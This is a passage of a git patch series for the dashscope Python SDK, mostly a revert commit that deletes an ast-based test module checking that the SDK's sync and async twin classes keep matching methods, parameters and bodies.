"start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert 'PROCESSOR_CLASS="processor.DemoProcessor"' in content - assert 'REQUIREMENTS_FILE="requirements.txt"' in content + assert "PROCESSOR_CLASS=processor.DemoProcessor" in content + assert "REQUIREMENTS_FILE=requirements.txt" in content def test_create_files_without_requirements(self, tmp_path): """Test creating deployment files without requirements.""" @@ -136,8 +135,8 @@ def test_create_files_without_requirements(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert 'PROCESSOR_CLASS="module.processor.MyProcessor"' in content - assert "local_packages=($SDK_PACKAGE)" in content + assert "PROCESSOR_CLASS=module.processor.MyProcessor" in content + assert 'read -r -a local_packages <<< "$SDK_PACKAGE"' in content def test_invalid_file_path(self, tmp_path): """Test handling of invalid file paths.""" From 69de084a35e117a102b44ab883f0792216a7d151 Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 20:17:46 +0800 Subject: [PATCH 22/26] Revert "test(v2): Add sync/async interface parity tests" This reverts commit de398cff286f4e1be293da35c7e2b0dba713cfba. --- tests/v2/__init__.py | 9 - tests/v2/test_sync_async_parity.py | 1238 ---------------------------- 2 files changed, 1247 deletions(-) delete mode 100644 tests/v2/__init__.py delete mode 100644 tests/v2/test_sync_async_parity.py diff --git a/tests/v2/__init__.py b/tests/v2/__init__.py deleted file mode 100644 index dbab4a31..00000000 --- a/tests/v2/__init__.py +++ /dev/null @@ -1,9 +0,0 @@ -# -*- coding: utf-8 -*- -# Copyright (c) Alibaba, Inc. and its affiliates. -"""Checks on the v2 SDK tree as a whole, rather than on one module. - -These tests read the shipped source and assert structural invariants across -it -- the sync/async twins expose the same contract, that sort of thing. -They have no runtime counterpart to import, so they live apart from the flat -per-module suites in ``tests/``. -""" diff --git a/tests/v2/test_sync_async_parity.py b/tests/v2/test_sync_async_parity.py deleted file mode 100644 index e25ce9b3..00000000 --- a/tests/v2/test_sync_async_parity.py +++ /dev/null @@ -1,1238 +0,0 @@ -# -*- coding: utf-8 -*- -# Copyright (c) Alibaba, Inc. and its affiliates. -"""Sync/async twin parity checks (T7 phase 1). - -The sync and async classes in ``dashscope`` are maintained by hand as -parallel copies. Nothing flags it when a method or a parameter is added to -one side and forgotten on the other -- the drift only surfaces at runtime, -usually as an ``AttributeError`` on the async client. These checks parse -each twin pair with :mod:`ast` and assert the two sides expose the same -methods with the same parameters, so drift fails CI. - -Three things are compared: the method-name set, each method's parameter -names/kinds, and the *body* of every method whose two halves are mechanical -copies of each other. Docstrings, annotations and defaults are ignored -throughout -- the async twin legitimately differs there (a one-line "Async -twin of ..." docstring, a ``Callable[..., Awaitable[None]]`` annotation). -Comparing them would report false positives, not real drift. - -The body check normalizes away exactly the sync/async spelling difference -(``async def`` / ``await``, the ``Async`` class-name prefix, ``aclose`` and -the four async dunders) and compares :func:`ast.unparse` output rather than -source lines, so it is immune to re-formatting: dropping an ``await`` -shortens a line and the formatter may then re-flow it. Most shared public -methods are identical under that normalization and are checked. The rest -diverge structurally -- a sync ``yield`` generator against an async ``async -for`` one, ``time.sleep`` against ``asyncio.sleep``, ``run_blocking`` -offloading a blocking upload to a worker thread -- and are listed in -``_BODY_EXEMPT`` with the reason. That list is *self-expiring*: -``test_declared_exemptions_are_still_needed`` fails once an exemption stops -describing a real difference, so fixing a gap retires its own blind spot -instead of leaving the method unchecked forever. - -Two further exclusions keep the signal honest: - -* **Underscore-prefixed helpers are not compared.** A private method is not - a contract, and the two sides routinely reach the same behaviour by - different private means (``Stream._iterate`` is a sync generator; the - async side inlines an async generator in ``__aiter__``). Dunder methods - *are* compared -- they are protocol surface, not helpers. -* **Declared asymmetries are listed per pair.** A websocket-only method with - no async counterpart is a design fact, not drift; naming it in the pair's - ``sync_only`` set documents the decision and keeps the check red for - anything *not* declared. - -``test_every_async_twin_in_the_v2_tree_is_covered`` closes the loop: it -re-discovers the twins from the source tree and fails if a new resource -ships an async class that nobody added to ``_PAIRS``, so coverage cannot rot -silently. - -Why detection rather than generation: T7's second phase floated building the -async side from the sync one with ``unasync``. Measured against this tree the -trade is poor -- about a third of the shared methods diverge structurally (a -sync ``yield`` generator against an ``async for``, ``time.sleep`` against -``asyncio.sleep``, ``asyncio.run()`` against a bare ``await``, -``run_blocking`` offloading a blocking upload to a worker thread), so -generation would cover part of the tree and leave the rest hand-written -beside it. It would also swap ``_PAIRS`` for a table of rewrite rules and -per-file overrides -- the same hand-maintained list in a different shape -- -while making the async files read-only and pointing stack traces at -generated code. ``_BODY_EXEMPT`` below is the honest record of where the two -halves really are not copies. - -Out of scope: ``legacy_1x`` (archived) and ``applications/agentstudio`` (a -separate sub-SDK with its own pagination and streaming twins). -""" - -from __future__ import annotations - -import ast -import copy -import difflib -from pathlib import Path -from typing import Dict, FrozenSet, List, NamedTuple, Optional, Set, Tuple - -import pytest - -REPO_ROOT = Path(__file__).resolve().parents[2] - -# Directories whose twins are deliberately not checked; see the docstring. -_SKIP_DIRS = frozenset({"legacy_1x", "applications"}) - -# Twins whose two halves do not share a stem, so the ``Async``-strip rule in -# ``_discover_pairs`` cannot pair them. Async name -> sync name. -_RENAMED_TWINS = {"AsyncSpinner": "StderrSpinner"} - -# An async-side method whose sync counterpart carries a different name. -# Keys are the async spelling, values the sync one; both sides are compared -# under the mapped name, so the exemptions below use the sync spelling too. -# Everything else is spelled the same on both sides (``Jobs.wait``, every -# resource method), so no other mapping is needed. -_NAME_MAP = { - "aclose": "close", - "__aenter__": "__enter__", - "__aexit__": "__exit__", - "__aiter__": "__iter__", - "__anext__": "__next__", -} - - -class _Pair(NamedTuple): - """One sync/async twin to compare, plus its declared asymmetries. - - ``sync_only`` / ``async_only`` exempt a *method name* that intentionally - exists on one side alone. ``params_exempt`` exempts a method present on - both sides whose signature intentionally differs. Every use of these - fields carries a comment saying why, because an unexplained exemption is - how real drift gets hidden. - """ - - path: str - sync_cls: str - async_cls: str - sync_only: FrozenSet[str] = frozenset() - async_only: FrozenSet[str] = frozenset() - params_exempt: FrozenSet[str] = frozenset() - - -_PAIRS: List[_Pair] = [ - # ``ws_connection`` is the pure-sync websocket helper (thread model); - # AsyncClient reaches the same sockets through ``connector=`` arguments. - _Pair( - "dashscope/client.py", - "Client", - "AsyncClient", - sync_only=frozenset({"ws_connection"}), - ), - _Pair("dashscope/transport/http.py", "SyncTransport", "AsyncTransport"), - _Pair("dashscope/transport/sse.py", "Stream", "AsyncStream"), - _Pair("dashscope/resources/_jobs.py", "Jobs", "AsyncJobs"), - _Pair("dashscope/resources/apps.py", "Apps", "AsyncApps"), - _Pair( - "dashscope/resources/apps.py", - "AppCompletions", - "AsyncAppCompletions", - ), - _Pair("dashscope/resources/apps.py", "AppStream", "AsyncAppStream"), - _Pair("dashscope/resources/audio/__init__.py", "Audio", "AsyncAudio"), - _Pair( - "dashscope/resources/audio/asr.py", - "TranscriptionJobs", - "AsyncTranscriptionJobs", - ), - # ``recognize`` / ``recognize_file`` drive a microphone or a file through - # a websocket (they take ``ws_url`` / ``connector``), which is the sync - # thread model with no async counterpart -- the same reason - # ``transport/ws.py`` has no twin at all. - _Pair( - "dashscope/resources/audio/asr.py", - "Asr", - "AsyncAsr", - sync_only=frozenset({"recognize", "recognize_file"}), - ), - _Pair( - "dashscope/resources/audio/http_tts.py", - "HttpSynthesisStream", - "AsyncHttpSynthesisStream", - # ``__aiter__`` hands back the inner ``AsyncIterator``, so there is - # no ``__anext__`` to delegate; the sync side implements both itself. - sync_only=frozenset({"__next__"}), - ), - # ``AsyncHttpTts`` takes ``(text, **kwargs)`` and pops the same keys the - # sync side declares explicitly, so behaviour matches but the signature - # does not. Exempted rather than left silently green: tightening the - # async signature to the 12 typed kwargs is tracked separately, and this - # entry is what keeps that gap visible. - _Pair( - "dashscope/resources/audio/http_tts.py", - "HttpTts", - "AsyncHttpTts", - params_exempt=frozenset({"stream", "synthesize"}), - ), - _Pair("dashscope/resources/chat/__init__.py", "Chat", "AsyncChat"), - _Pair( - "dashscope/resources/chat/completions.py", - "Completions", - "AsyncCompletions", - ), - _Pair( - "dashscope/resources/chat/completions.py", - "ChatStream", - "AsyncChatStream", - ), - _Pair("dashscope/resources/decision.py", "Decision", "AsyncDecision"), - _Pair( - "dashscope/resources/deployments.py", - "Deployments", - "AsyncDeployments", - ), - _Pair( - "dashscope/resources/embeddings.py", - "EmbeddingJobs", - "AsyncEmbeddingJobs", - ), - _Pair( - "dashscope/resources/embeddings.py", - "Embeddings", - "AsyncEmbeddings", - ), - _Pair("dashscope/resources/files.py", "Files", "AsyncFiles"), - _Pair("dashscope/resources/fine_tunes.py", "FineTunes", "AsyncFineTunes"), - _Pair("dashscope/resources/images.py", "ImageJobs", "AsyncImageJobs"), - _Pair("dashscope/resources/images.py", "Images", "AsyncImages"), - _Pair("dashscope/resources/models.py", "Models", "AsyncModels"), - _Pair( - "dashscope/resources/multimodal/__init__.py", - "Multimodal", - "AsyncMultimodal", - ), - _Pair( - "dashscope/resources/multimodal/chat.py", - "MultimodalChat", - "AsyncMultimodalChat", - ), - _Pair( - "dashscope/resources/multimodal/embeddings.py", - "MultimodalEmbeddings", - "AsyncMultimodalEmbeddings", - ), - _Pair( - "dashscope/resources/reinforcement_learning.py", - "RlJobs", - "AsyncRlJobs", - ), - _Pair("dashscope/resources/reinforcement_learning.py", "Rl", "AsyncRl"), - _Pair("dashscope/resources/rerank.py", "Rerank", "AsyncRerank"), - # ``realtime`` opens a websocket session (``ws_url`` / ``connector`` / - # ``connection``), so it stays sync-only like the other ws entry points. - _Pair( - "dashscope/resources/tingwu.py", - "TingWu", - "AsyncTingWu", - sync_only=frozenset({"realtime"}), - ), - _Pair( - "dashscope/resources/tokenization.py", - "Tokenization", - "AsyncTokenization", - ), - _Pair("dashscope/resources/videos.py", "VideoJobs", "AsyncVideoJobs"), - _Pair("dashscope/resources/videos.py", "Videos", "AsyncVideos"), - # A CLI progress spinner, copied by hand like everything else here. Its - # contract is the context-manager protocol, so the dunder comparison - # (mapped through ``_NAME_MAP``) is the whole check. - _Pair( - "dashscope/acli/utils/spinner.py", - "StderrSpinner", - "AsyncSpinner", - ), -] - -_IDS = [pair.sync_cls for pair in _PAIRS] - -# Methods whose two halves are deliberately *not* mechanical copies, so their -# bodies are not compared. Each value states the reason, because an -# unexplained exemption is how real drift hides. -# -# These are self-expiring: ``test_declared_exemptions_are_still_needed`` -# fails the moment an entry stops describing a real difference, so closing -# one of these gaps retires its own exemption instead of leaving the method -# permanently unchecked. A key that names no real method fails too, which is -# what keeps a rename from silently orphaning an entry. -# -# Keyed by ``(path, sync_cls, method)``, the method in its sync spelling -- -# so ``aclose`` appears as ``close`` and ``__aexit__`` as ``__exit__``. -_BodyKey = Tuple[str, str, str] - -_BODY_EXEMPT: Dict[_BodyKey, str] = { - # -- sync generator against an async generator ----------------------- - # ``yield`` versus ``async for`` is a different construct, not a token - # rewrite. This is why T7 scopes streaming out of the generation pilot. - ("dashscope/transport/sse.py", "Stream", "__iter__"): ( - "sync is a generator over EventSource with a try/finally close; " - "async returns the _iterate() async generator" - ), - ("dashscope/resources/apps.py", "AppStream", "__iter__"): ( - "iter(self._inner) against self._inner.__iter__(), the async " - "iterator protocol having no iter() builtin equivalent" - ), - ("dashscope/resources/apps.py", "AppStream", "text_stream"): ( - "sync yields in a for loop; async returns the _text_stream() " - "async generator" - ), - ( - "dashscope/resources/audio/http_tts.py", - "HttpSynthesisStream", - "__iter__", - ): ( - "sync returns self and implements __next__; async returns " - "self._inner, whose __anext__ does the work" - ), - ( - "dashscope/resources/audio/http_tts.py", - "HttpSynthesisStream", - "close", - ): ( - "sync closes the inner stream then the response in a try/finally; " - "async has no inner sync stream to close" - ), - ( - "dashscope/resources/chat/completions.py", - "ChatStream", - "__iter__", - ): ( - "sync accumulates over iter(self._inner); async over the " - "_accumulated() async generator" - ), - ( - "dashscope/resources/chat/completions.py", - "ChatStream", - "text_stream", - ): "sync yields in a for loop; async returns _text_stream()", - ( - "dashscope/resources/chat/completions.py", - "ChatStream", - "reasoning_stream", - ): "sync yields in a for loop; async returns _reasoning_stream()", - ( - "dashscope/resources/chat/completions.py", - "ChatStream", - "tool_call_stream", - ): "sync yields in a for loop; async returns _tool_call_stream()", - ( - "dashscope/resources/chat/completions.py", - "ChatStream", - "get_final_message", - ): ( - "async must materialize the chunks with an async comprehension " - "before aggregating; sync passes the live iterator straight in" - ), - # -- SSE consumption: ``for`` against ``async for`` ------------------ - ("dashscope/transport/http.py", "SyncTransport", "open_stream"): ( - "async builds the request up front, reads it with aread() and " - "sleeps with _asleep; T7 scopes open_stream out of the pilot" - ), - ( - "dashscope/resources/deployments.py", - "Deployments", - "stream_events", - ): "for _iter_sse(response) against async for _aiter_sse(response)", - ( - "dashscope/resources/fine_tunes.py", - "FineTunes", - "stream_events", - ): "for _iter_sse(response) against async for _aiter_sse(response)", - # -- blocking work offloaded to a worker thread ---------------------- - # The async twin cannot block the event loop, so file upload and - # request building go through run_blocking and the send through _asend. - ("dashscope/resources/images.py", "Images", "generate"): ( - "_upload_inputs runs inline; async offloads it via run_blocking" - ), - ("dashscope/resources/images.py", "ImageJobs", "create"): ( - "_upload_inputs runs inline; async offloads it via run_blocking" - ), - ("dashscope/resources/videos.py", "VideoJobs", "create"): ( - "_upload_inputs runs inline; async offloads it via run_blocking" - ), - ( - "dashscope/resources/multimodal/embeddings.py", - "MultimodalEmbeddings", - "create", - ): ( - "upload_embedding_media runs inline; async offloads it via " - "run_blocking" - ), - ( - "dashscope/resources/chat/completions.py", - "Completions", - "create", - ): ( - "_build_request runs inline and sends via _send; async offloads " - "the build via run_blocking and sends via _asend" - ), - ( - "dashscope/resources/multimodal/chat.py", - "MultimodalChat", - "create", - ): ( - "_build_request runs inline and sends via _send; async offloads " - "the build via run_blocking and sends via _asend" - ), - # -- retry backoff: a different sleep helper ------------------------- - ("dashscope/transport/http.py", "SyncTransport", "request"): ( - "backoff calls the _sleep helper; async calls its _asleep twin" - ), - # -- polling: time.sleep against asyncio.sleep ----------------------- - ("dashscope/resources/_jobs.py", "Jobs", "wait"): ( - "defaults the injectable _sleep to time.sleep; async to " - "asyncio.sleep" - ), - ("dashscope/resources/audio/asr.py", "TranscriptionJobs", "wait"): ( - "defaults the injectable _sleep to time.sleep; async to " - "asyncio.sleep" - ), - ("dashscope/resources/fine_tunes.py", "FineTunes", "wait"): ( - "defaults the injectable _sleep to time.sleep; async to " - "asyncio.sleep" - ), - ( - "dashscope/resources/reinforcement_learning.py", - "RlJobs", - "wait", - ): ( - "defaults the injectable _sleep to time.sleep; async to " - "asyncio.sleep" - ), - # -- sync drives an async workflow through asyncio.run() ------------- - # Every ``Rl`` entry point shells into the async-only ``_agentic_rl`` - # client, so the sync side needs a loop and the async side already has - # one. - ( - "dashscope/resources/reinforcement_learning.py", - "RlJobs", - "create", - ): "sync wraps rl.run() in asyncio.run(); async awaits it", - ( - "dashscope/resources/reinforcement_learning.py", - "Rl", - "register_functions", - ): ( - "sync wraps _register_functions_workflow in asyncio.run(); async " - "awaits it" - ), - ( - "dashscope/resources/reinforcement_learning.py", - "Rl", - "test_functions", - ): "sync wraps the _agentic_rl coroutine in asyncio.run()", - ( - "dashscope/resources/reinforcement_learning.py", - "Rl", - "upload_data", - ): "sync wraps rl.upload_datasets in asyncio.run()", - ( - "dashscope/resources/reinforcement_learning.py", - "Rl", - "query_function_instance_logs", - ): "sync wraps the _agentic_rl coroutine in asyncio.run()", - ( - "dashscope/resources/reinforcement_learning.py", - "Rl", - "query_all_function_instance_logs", - ): "sync wraps the _agentic_rl coroutine in asyncio.run()", - ( - "dashscope/resources/reinforcement_learning.py", - "Rl", - "delete_function_instance", - ): "sync wraps the _agentic_rl coroutine in asyncio.run()", - # -- constructors wiring a different object graph ---------------------- - ("dashscope/client.py", "Client", "__init__"): ( - "builds a SyncTransport; the async client builds an AsyncTransport " - "imported under a local alias" - ), - ("dashscope/client.py", "Client", "agentstudio"): ( - "instantiates the agentstudio sync Client; async instantiates that " - "sub-SDK's own AsyncClient" - ), - ("dashscope/resources/audio/__init__.py", "Audio", "__init__"): ( - "async wraps each sub-resource in _AsyncResourceProxy and has no " - "``realtime`` (websocket, sync-only)" - ), - ("dashscope/resources/audio/asr.py", "Asr", "__init__"): ( - "sync binds self._client itself; async relies on the base wiring" - ), - # -- spinner: a thread against an asyncio.Task ----------------------- - ("dashscope/acli/utils/spinner.py", "StderrSpinner", "__init__"): ( - "sync initialises a _stop flag; async an _task handle" - ), - ("dashscope/acli/utils/spinner.py", "StderrSpinner", "__enter__"): ( - "sync starts a daemon threading.Thread; async schedules " - "asyncio.create_task" - ), - ("dashscope/acli/utils/spinner.py", "StderrSpinner", "__exit__"): ( - "sync sets _stop and joins the thread; async cancels the task and " - "swallows CancelledError" - ), -} - -# One parameter, normalized: its kind and its name. -_Param = Tuple[str, str] -_Sig = List[_Param] - - -def _is_private(name: str) -> bool: - """Whether ``name`` is an internal helper, exempt from parity. - - Underscore-prefixed but *not* a dunder: ``__aiter__`` / ``__aenter__`` - are protocol surface the caller depends on, so they stay in scope and - are compared under their ``_NAME_MAP`` sync spelling. - """ - return name.startswith("_") and not name.startswith("__") - - -def _params(fn) -> _Sig: - """Normalized ``(kind, name)`` parameters of ``fn``, ``self`` dropped. - - ``kind`` is one of ``pos`` / ``var`` / ``kw`` / ``kwvar``. Annotations - and defaults are not captured: they legitimately differ between twins. - """ - args = fn.args - out: _Sig = [("pos", a.arg) for a in args.args if a.arg != "self"] - if args.vararg is not None: - out.append(("var", args.vararg.arg)) - out += [("kw", a.arg) for a in args.kwonlyargs] - if args.kwarg is not None: - out.append(("kwvar", args.kwarg.arg)) - return out - - -def _sigs_from_source(src: str, cls: str) -> Dict[str, _Sig]: - """Public method signatures of ``cls`` in ``src``, keyed by mapped name. - - Accepting a source string (rather than only a file) lets the guard tests - below feed the detector synthetic twins with a known drift. ``@overload`` - repeats a name and the last binding wins, which is safe because an - overload set shares parameter *names* -- only annotations and defaults - vary across the stubs, and neither is compared. - """ - tree = ast.parse(src) - sigs: Dict[str, _Sig] = {} - for node in tree.body: - if not (isinstance(node, ast.ClassDef) and node.name == cls): - continue - for fn in node.body: - if not isinstance(fn, (ast.FunctionDef, ast.AsyncFunctionDef)): - continue - if _is_private(fn.name): - continue - sigs[_NAME_MAP.get(fn.name, fn.name)] = _params(fn) - return sigs - - -def _deasync(name: str) -> str: - """``AsyncModels`` -> ``Models``; anything else is left alone. - - Requiring an uppercase letter after the prefix keeps names that merely - begin with those five characters -- ``Asyncio``, say -- from being - mangled into something that no longer resolves. - """ - if name.startswith("Async") and name[5:6].isupper(): - return name[5:] - return name - - -class _Normalize(ast.NodeTransformer): - """Rewrite a method so both halves of a twin normalize to one tree. - - This undoes exactly the mechanical half of the hand copy: ``await`` is - dropped, ``async def`` becomes ``def``, the ``Async`` class-name prefix - and the ``_NAME_MAP`` spellings collapse to their sync names, and - docstrings plus signature annotations are removed. All of those differ - legitimately between twins (an "Async twin of ..." one-liner, a - ``Callable[..., Awaitable[None]]``), so comparing them is noise. - - Local variable annotations are kept -- they read the same on both sides, - so they are signal. ``AsyncFor`` and ``AsyncWith`` are deliberately not - rewritten: a sync ``for`` against an ``async for`` is a real structural - difference, which is what ``_BODY_EXEMPT`` exists to declare. - """ - - def visit_Await(self, node): - self.generic_visit(node) - return node.value - - def visit_AsyncFunctionDef(self, node): - plain = ast.FunctionDef( - name=node.name, - args=node.args, - body=node.body, - decorator_list=node.decorator_list, - returns=node.returns, - ) - return self.visit_FunctionDef(plain) - - def visit_FunctionDef(self, node): - self.generic_visit(node) - node.name = _NAME_MAP.get(node.name, node.name) - node.returns = None - body = node.body - if ( - body - and isinstance(body[0], ast.Expr) - and isinstance(body[0].value, ast.Constant) - and isinstance(body[0].value.value, str) - ): - node.body = body[1:] or [ast.Pass()] - for arg in ast.walk(node.args): - if isinstance(arg, ast.arg): - arg.annotation = None - return node - - def visit_Name(self, node): - self.generic_visit(node) - node.id = _deasync(node.id) - return node - - def visit_Attribute(self, node): - self.generic_visit(node) - attr = _deasync(node.attr) - node.attr = _NAME_MAP.get(attr, attr) - return node - - -def _bodies_from_source(src: str, cls: str) -> Dict[str, str]: - """Normalized body of each public method of ``cls``, keyed by name. - - ``@overload`` repeats a name and the last binding wins, so the - implementation is what gets compared, on both sides alike. - - Comparing unparsed trees rather than source lines keeps the check honest - under re-formatting: dropping an ``await`` shortens a line, and the - formatter is then free to re-flow it, which a line diff would report as - drift. - """ - tree = ast.parse(src) - bodies: Dict[str, str] = {} - for node in tree.body: - if not (isinstance(node, ast.ClassDef) and node.name == cls): - continue - for fn in node.body: - if not isinstance(fn, (ast.FunctionDef, ast.AsyncFunctionDef)): - continue - if _is_private(fn.name): - continue - clone = _Normalize().visit(copy.deepcopy(fn)) - clone.name = _NAME_MAP.get(clone.name, clone.name) - ast.fix_missing_locations(clone) - key = _NAME_MAP.get(fn.name, fn.name) - bodies[key] = ast.unparse(clone) - return bodies - - -def _diff( - pair: _Pair, - sync_sigs: Dict[str, _Sig], - async_sigs: Dict[str, _Sig], -) -> Tuple[List[str], List[str]]: - """Compare one twin pair; return ``(method_drift, param_drift)`` messages. - - Both lists empty means the pair aligns. Messages name the offending - method (and, for parameters, both sides' signatures) so a failure points - straight at the drift instead of at this file. - """ - method_problems: List[str] = [] - param_problems: List[str] = [] - sync_names = set(sync_sigs) - pair.sync_only - async_names = set(async_sigs) - pair.async_only - for name in sorted(sync_names - async_names): - method_problems.append(f"{pair.async_cls} is missing method: {name}") - for name in sorted(async_names - sync_names): - method_problems.append(f"{pair.sync_cls} is missing method: {name}") - shared = (sync_names & async_names) - pair.params_exempt - for name in sorted(shared): - if sync_sigs[name] != async_sigs[name]: - param_problems.append( - f"{name} parameter drift: " - f"{pair.sync_cls}={sync_sigs[name]} " - f"{pair.async_cls}={async_sigs[name]}", - ) - return method_problems, param_problems - - -def _diff_pair(pair: _Pair) -> Tuple[List[str], List[str]]: - """Read both sides of ``pair`` off disk and diff them.""" - src = (REPO_ROOT / pair.path).read_text(encoding="utf-8") - sync_sigs = _sigs_from_source(src, pair.sync_cls) - async_sigs = _sigs_from_source(src, pair.async_cls) - # Guard against a typo'd or renamed class silently comparing nothing, - # which would make the whole pair vacuously green. - assert sync_sigs, f"no methods found for {pair.sync_cls} in {pair.path}" - assert async_sigs, f"no methods found for {pair.async_cls} in {pair.path}" - return _diff(pair, sync_sigs, async_sigs) - - -def _bodies_of_pair(pair: _Pair) -> Tuple[Dict[str, str], Dict[str, str]]: - """Both sides' normalized method bodies, read off disk.""" - src = (REPO_ROOT / pair.path).read_text(encoding="utf-8") - found: Dict[str, Dict[str, str]] = {} - for cls in (pair.sync_cls, pair.async_cls): - bodies = _bodies_from_source(src, cls) - # Guard against a typo'd or renamed class silently comparing - # nothing, which would make the whole pair vacuously green. - assert bodies, f"no methods found for {cls} in {pair.path}" - found[cls] = bodies - return found[pair.sync_cls], found[pair.async_cls] - - -def _body_diff( - pair: _Pair, - sync_bodies: Dict[str, str], - async_bodies: Dict[str, str], - exempt: Optional[Dict[_BodyKey, str]] = None, -) -> List[str]: - """Methods present on both sides whose normalized bodies drifted. - - Messages carry a unified diff of the normalized trees, so a failure - shows the actual divergence rather than just naming the method. - """ - if exempt is None: - exempt = _BODY_EXEMPT - problems: List[str] = [] - shared = (set(sync_bodies) - pair.sync_only) & ( - set(async_bodies) - pair.async_only - ) - # A method whose signature already differs is reported by the parameter - # check; re-reporting its body would bury that in a much longer diff. - shared -= pair.params_exempt - for name in sorted(shared): - if (pair.path, pair.sync_cls, name) in exempt: - continue - if sync_bodies[name] == async_bodies[name]: - continue - diff = "\n".join( - difflib.unified_diff( - sync_bodies[name].splitlines(), - async_bodies[name].splitlines(), - pair.sync_cls, - pair.async_cls, - lineterm="", - n=1, - ), - ) - problems.append(f"{name} body drifted:\n{diff}") - return problems - - -def _body_diff_pair(pair: _Pair) -> List[str]: - """Read both sides of ``pair`` off disk and diff their bodies.""" - sync_bodies, async_bodies = _bodies_of_pair(pair) - return _body_diff(pair, sync_bodies, async_bodies) - - -def _discover_pairs() -> Set[Tuple[str, str, str]]: - """Every ``(path, sync_cls, async_cls)`` twin in the checked tree. - - The rule is a shared module holding ``Foo`` and ``AsyncFoo``. Two - exceptions keep it from silently missing a twin: ``SyncTransport``, whose - sync side is prefixed rather than bare, so the ``Async``-strip is retried - with a ``Sync`` prefix; and the pairs in ``_RENAMED_TWINS``, where the - two halves do not share a stem at all. - """ - found: Set[Tuple[str, str, str]] = set() - for path in sorted((REPO_ROOT / "dashscope").rglob("*.py")): - if _SKIP_DIRS.intersection(path.parts): - continue - rel = path.relative_to(REPO_ROOT).as_posix() - tree = ast.parse(path.read_text(encoding="utf-8")) - names = [n.name for n in tree.body if isinstance(n, ast.ClassDef)] - for name in names: - if not name.startswith("Async"): - continue - sync = _RENAMED_TWINS.get(name) or name[len("Async") :] - if sync not in names and f"Sync{sync}" in names: - sync = f"Sync{sync}" - if sync in names: - found.add((rel, sync, name)) - return found - - -@pytest.mark.parametrize("pair", _PAIRS, ids=_IDS) -def test_twin_method_sets_match(pair): - method_problems, _ = _diff_pair(pair) - detail = "\n".join(method_problems) - msg = ( - f"{pair.path}: {pair.sync_cls}/{pair.async_cls} method set " - f"drifted:\n{detail}" - ) - assert method_problems == [], msg - - -@pytest.mark.parametrize("pair", _PAIRS, ids=_IDS) -def test_twin_param_lists_match(pair): - _, param_problems = _diff_pair(pair) - detail = "\n".join(param_problems) - msg = ( - f"{pair.path}: {pair.sync_cls}/{pair.async_cls} parameters " - f"drifted:\n{detail}" - ) - assert param_problems == [], msg - - -@pytest.mark.parametrize("pair", _PAIRS, ids=_IDS) -def test_twin_method_bodies_match(pair): - """A method that is a mechanical copy must stay a mechanical copy. - - The two checks above compare the contract only, so editing one side's - *logic* and forgetting the other passes both. Most twins are byte-identical - once the async spelling is normalized away, and those are held to it here; - the structurally divergent ones are declared in ``_BODY_EXEMPT``. - """ - problems = _body_diff_pair(pair) - detail = "\n\n".join(problems) - msg = ( - f"{pair.path}: {pair.sync_cls}/{pair.async_cls} method bodies " - f"drifted:\n{detail}\n" - "Mirror the change to both sides, or -- if the divergence is " - "intentional -- add the method to _BODY_EXEMPT with the reason." - ) - assert problems == [], msg - - -def test_every_async_twin_in_the_v2_tree_is_covered(): - """No twin may ship without a ``_PAIRS`` entry. - - Without this, adding ``AsyncWidgets`` to a new resource file escapes - every check above -- the exact rot phase 1 exists to stop. The stale - direction is asserted too, so a renamed or deleted class cannot leave a - dead entry that quietly stops matching anything. - """ - declared = {(p.path, p.sync_cls, p.async_cls) for p in _PAIRS} - discovered = _discover_pairs() - missing = sorted(discovered - declared) - stale = sorted(declared - discovered) - assert missing == [], ( - "sync/async twins with no parity entry -- add them to _PAIRS:\n" - + "\n".join(f" {m[0]}: {m[1]}/{m[2]}" for m in missing) - ) - assert stale == [], ( - "_PAIRS entries that no longer match a twin in the tree (class " - f"renamed or removed?): {stale}" - ) - - -def test_declared_exemptions_are_still_needed(): - """Every exemption must still describe a real difference. - - A stale exemption is worse than none: the method stops being compared - and nothing says so, which is how a declared gap hardens into a - permanent blind spot. Each kind is checked in the direction that retires - it -- a ``sync_only`` method the async side has since grown, a - ``params_exempt`` signature that has since been tightened, a - ``_BODY_EXEMPT`` body that has since been made to match. - - An empty reason fails as well. The point of the list is that a reader - can tell a design decision from an oversight. - """ - stale: List[str] = [] - - for pair in _PAIRS: - src = (REPO_ROOT / pair.path).read_text(encoding="utf-8") - sync_sigs = _sigs_from_source(src, pair.sync_cls) - async_sigs = _sigs_from_source(src, pair.async_cls) - for name in sorted(pair.sync_only): - if name in async_sigs: - stale.append( - f"{pair.path}: {pair.sync_cls}.{name} is exempt as " - f"sync-only, but {pair.async_cls} has it now too", - ) - for name in sorted(pair.async_only): - if name in sync_sigs: - stale.append( - f"{pair.path}: {pair.async_cls}.{name} is exempt as " - f"async-only, but {pair.sync_cls} has it now too", - ) - for name in sorted(pair.params_exempt): - if name not in sync_sigs or name not in async_sigs: - stale.append( - f"{pair.path}: {pair.sync_cls}.{name} is exempt from " - "the parameter check but is not on both sides", - ) - elif sync_sigs[name] == async_sigs[name]: - stale.append( - f"{pair.path}: {pair.sync_cls}.{name} parameters now " - "match -- drop it from params_exempt", - ) - - # _BODY_EXEMPT is keyed by (path, sync_cls), so each key must resolve to - # exactly one twin; the length check is what makes that true. - by_twin = {(p.path, p.sync_cls): p for p in _PAIRS} - assert len(by_twin) == len(_PAIRS), ( - "_PAIRS holds a duplicate (path, sync_cls); _BODY_EXEMPT keys " - "would be ambiguous" - ) - - cache: Dict[Tuple[str, str], Tuple[Dict[str, str], Dict[str, str]]] = {} - for (path, sync_cls, name), reason in sorted(_BODY_EXEMPT.items()): - where = f"{path}::{sync_cls}.{name}" - pair = by_twin.get((path, sync_cls)) - if pair is None: - stale.append(f"_BODY_EXEMPT {where} names no _PAIRS twin") - continue - if not reason.strip(): - stale.append(f"_BODY_EXEMPT {where} states no reason") - continue - if (path, sync_cls) not in cache: - cache[(path, sync_cls)] = _bodies_of_pair(pair) - sync_bodies, async_bodies = cache[(path, sync_cls)] - if name not in sync_bodies or name not in async_bodies: - stale.append( - f"_BODY_EXEMPT {where} is not a public method on both " - "sides (renamed?)", - ) - elif sync_bodies[name] == async_bodies[name]: - stale.append( - f"{where} bodies now match -- drop it from _BODY_EXEMPT", - ) - - detail = "\n".join(f" {s}" for s in stale) - assert stale == [], ( - "exemptions that no longer describe a real difference:\n" + detail - ) - - -# --------------------------------------------------------------------------- -# Guard tests: prove the detector is not vacuous. These feed it 